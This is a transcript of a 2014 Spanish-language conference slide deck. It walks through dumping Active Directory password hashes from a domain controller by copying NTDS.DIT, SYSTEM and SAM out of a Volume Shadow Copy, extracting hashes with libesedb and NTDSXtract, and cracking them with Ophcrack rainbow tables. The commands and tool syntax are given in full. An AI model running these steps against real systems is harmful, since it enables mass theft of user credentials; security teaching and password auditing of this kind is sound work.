Transcript
Page 1: Obtener contraseñas del directorio activo por hkm

Como obtener contraseñas del directorio activo con permisos

de Domain Admin

Ing. Pedro Joaquín@_hkm

Reunión de la Comunidad Underground de México 2014

28 de junio del 2014

Page 2: Obtener contraseñas del directorio activo por hkm

Advertencia

• El propósito de esta presentación es demostrar de manera práctica una técnica conocida de obtención de las contraseñas del Directorio Activo a partir de una cuenta con permisos de Domain Admin.

• El autor, ni la organización que representa se responsabilizan por el mal uso que se le pueda dar a las técnicas mostradas a continuación.

• El acceso no autorizado a sistemas o equipos de computo, conocer, copiar, modificar o destruir información, y la intervención de cuentas de correo son delitos sancionados en el Código Penal Federal.

• Recomendamos informar a los usuarios que su contraseña puede ser observada por los administradores de la red.

Page 3: Obtener contraseñas del directorio activo por hkm

Tres simples pasos

1. Copiar los archivos NTDS.DIT y SYSTEM del controlador de dominio.

2. Extraer los hashes de los archivos.

3. Descifrar (“Crackear”) los hashes.

Page 4: Obtener contraseñas del directorio activo por hkm

Tres simples pasos

1. Copiar los archivos NTDS.DIT y SYSTEM del controlador de dominio.

2. Extraer los hashes de los archivos.

3. Descifrar (“Crackear”) los hashes.

Page 5: Obtener contraseñas del directorio activo por hkm

Copiar los archivos NTDS.DIT y SYSTEMCrear un Volume Shadow Copy,

Copiar los archivos del Volume Shadow,

Borrar la Volume Shadow Copy

Page 6: Obtener contraseñas del directorio activo por hkm

NTDS.DIT y SYSTEM

NTDS.DIT

Archivo donde se almacena toda la información del directorio activo. Se encuentra en %SystemRoot%\ntds\NTDS.DIT.

SYSTEM

Contiene el registro SYSTEM el cual contiene la bootkey (SYSKEY) necesaria para extraer los hashes del NTDS.DIT.

** Los archivos se encuentran protegidos para que no se puedan copiar fácilmente. Es necesario extraerlos de una Volume Shadow Copy

Page 7: Obtener contraseñas del directorio activo por hkm

Volume Shadow Copy

• El Volume Shadow Copy eres un sistema de respaldo de unidades de Windows que permite crear copias de archivos ocultos como el NTDS.DIT, SYSTEM, SAM, etc.

• Se puede utilizar el comando vssadmin list shadows para saber si existen copias creadas:

C:\>vssadmin list shadows

vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool

(C) Copyright 2001 Microsoft Corp.

No items found that satisfy the query.

Page 8: Obtener contraseñas del directorio activo por hkm

Crear una Volume Shadow Copy

C:\>vssadmin create shadow /for=c:

vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool

(C) Copyright 2001 Microsoft Corp.

Successfully created shadow copy for ‘c:\’

Shadow Copy ID: {e8eb7931-5056-4f7d-a5d7-05c30da3e1b3}

Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

Se utiliza el comando vssadmin create shadow /for=c: para crear una copia de la unidad c:

Page 9: Obtener contraseñas del directorio activo por hkm

Copiar los archivos del Volume Shadow Copy

• Comandos para copiar los archivos requeridos al directorio actual:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\ntds\ntds.dit .

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SYSTEM .

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SAM .

[X] Es el identificador de la copia, ver diapositiva anterior.

En algunos sistemas como Windows 2003 y 2008 la ruta \windows\ puede variar a \WINNT\

Page 10: Obtener contraseñas del directorio activo por hkm

Para borrar la Volume Shadow Copy

C:\> vssadmin delete shadows /for=C: /shadow= e8eb7931-5056-4f7d-a5d7-05c30da3e1b3

Page 11: Obtener contraseñas del directorio activo por hkm

Extracción de los hashesExtraer las tablas con libesedb

Extraer los hashes con NTDSXtract

Page 12: Obtener contraseñas del directorio activo por hkm

Extracción de los hashes

• Para extraer los hashes es necesario tener la tabla database y link del archivo NTDS.DIT y el archivo SYSTEM.

• Utilizaremos las herramientas de libesedb para extraer las tablas del NTDS.DIR y posteriormente ntdsxtract para utilizar las tablas y el SYSTEM para obtener los hashes.

• Estas herramientas corren en Linux.

Page 13: Obtener contraseñas del directorio activo por hkm

Descarga e instalación de libesedb

# wgethttp://libesedb.googlecode.com/files/libesedb-alpha-20120102.tar.gz

# tar -xzvf libesedb-alpha-20120102.tar.gz

# cd libesedb-20120102

# ./configure

# make

# mv esedbtools/ /usr/local

# cd esedbtools/

Page 14: Obtener contraseñas del directorio activo por hkm

esedbexport (parte de libesedb)

• Syntaxis:

#./esedbexport –t <directorio de salida> <archivo ntds.dit>

• Este comando tardará mucho. Aprox 25 minutos. Si en 25 minutos parece que no esta avanzando hay que presionar Enter para actualizarlo.

• La salida de comando debe ser similar a la siguiente diapositiva…

Page 15: Obtener contraseñas del directorio activo por hkm

# ./esedbexport -t ~/ntds ~/ntds.ditesedbexport 20120102Opening file.

Exporting table 1 (MSysObjects) out of 11.Exporting table 2 (MSysObjectsShadow) out of 11.Exporting table 3 (MSysUnicodeFixupVer1) out of 11.Exporting table 4 (datatable) out of 11.Exporting table 5 (link_table) out of 11.Exporting table 6 (hiddentable) out of 11.Exporting table 7 (sdproptable) out of 11.Exporting table 8 (sd_table) out of 11.Exporting table 9 (quota_table) out of 11.Exporting table 10 (quota_rebuild_progress_table) out of 11.Exporting table 11 (MSysDefrag1) out of 11.Export completed.

Page 16: Obtener contraseñas del directorio activo por hkm

Nombres de archivos exportados

# ls ~/ntdis.export/

MSysObjects.0

MSysObjectsShadow.1

MSysUnicodeFixupVer1.2

datatable.3

link_table.4

hiddentable.5

sdproptable.6

sd_table.7

quota_table.8

quota_rebuild_progress_table.9

MSysDefrag1.10

• No utilizaremos todos los archivos, únicamente el datatable3, link_table.4 y el SYSTEM.

Page 17: Obtener contraseñas del directorio activo por hkm

Descarga e instalación de NTDSXtract

# wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_2_beta.zip

# unzip ntdsxtract_v1_2_beta.zip

# cd ntdsxtract_v1_2_beta

Page 18: Obtener contraseñas del directorio activo por hkm

Extracción de hashes

• # python dsusers.py ~/ntds.export/datatable.3~/ntds.export/link_table.4 ~/TEMP --passwordhashes --lmoutfile LM.out --ntoutfile NT.out --pwdformat ophc --syshive ~/SYSTEM

• Se ejecuta un comando similar donde le estamos diciendo la ubicación del datatable.3, link_table.4 y SYSTEM y esperando el resultado de los hashes en formato ophc (Ophcrack). Nos generará dos archivos uno de hashes, uno para LM LM.out y otro de hashes NT NT.out.

Page 19: Obtener contraseñas del directorio activo por hkm

Descifrar (“Crackear”) los hashesDescargando Ophcrack,

Obteniendo las Rainbow Tables,

Crackeando los hashes

Page 20: Obtener contraseñas del directorio activo por hkm

Rainbow tables

• El cifrado NTLM se puede romper utilizando Rainbow Tables que son tablas precomputadas de hashes.

• Las tablas recomendadas ya que son relativamente pequeñas y se pueden obtener fácilmente son las XP_Special y las Vista_Special.

• Las tablas son gratuitas. El sitio oficial de las tablas es: http://sourceforge.net/projects/ophcrack/files/tables/ pero por simplicidad de la descarga y velocidad recomiendo utilizar los torrents de

• http://thepiratebay.se/torrent/4467431/Ophcrack_XP_Special_Tables

• http://thepiratebay.se/torrent/4403978/Ophcrack_Vista_Special_NTHASH_Table

Page 21: Obtener contraseñas del directorio activo por hkm

Descargando e instalando Ophcrack

• Ophcrack puede ser utilizado como un LiveCD o desde Windows.

• Se descarga de http://ophcrack.sourceforge.net/

• En este tutorial utilizaremos la versión de Windows, la configuración es la misma en la versión LiveCD de Linux.

• La diferencia principal es que la versión de LiveCD de Linux puede obtener automáticamente los hashes de la computadora donde se ejecuta.

Page 22: Obtener contraseñas del directorio activo por hkm

Utilizando Ophcrack

• En el menú principal de Ophcrack se seleccciona Load y PWDUMP file

• Abrimos el archivo de las contraseñas NT.out y/o LM.out

Page 23: Obtener contraseñas del directorio activo por hkm

Utilizando Ophcrack – Rainbow tables

• En el menú principal de Ophcrack se seleccciona Tables y posteriormente Install.

• Seleccionamos los directorios donde se encuentran las tablas Vista_special y XP_special.

• Se recomienda habilitar una tabla a la vez, primero con XP_special.

Page 24: Obtener contraseñas del directorio activo por hkm

Crackeando las contraseñas

• En el menú principal de Ophcrackseleccciona Crack.

• El proceso puede tomar varias horas, pero el resultado vale la pena…

Page 25: Obtener contraseñas del directorio activo por hkm

Como obtener contraseñas del directorio activo con permisos

de Domain Admin

Ing. Pedro Joaquín@_hkm

Reunión de la Comunidad Underground de México 2014

28 de junio del 2014

Page 26: Obtener contraseñas del directorio activo por hkm

Referencias

• Código Penal Federal, en materia de delitos en contra de medios o sistemas informáticos:

http://gaceta.diputados.gob.mx/Gaceta/61/2012/mar/20120328-III.html#DictamenaD2

• Getting Hashes from NTDS.dit file:

http://blog.walkerville.org/?p=486

• libesedb:

https://code.google.com/p/libesedb/

• NTDSXtract:

http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_2_beta.zip

• Ophcrack:

http://ophcrack.sourceforge.net/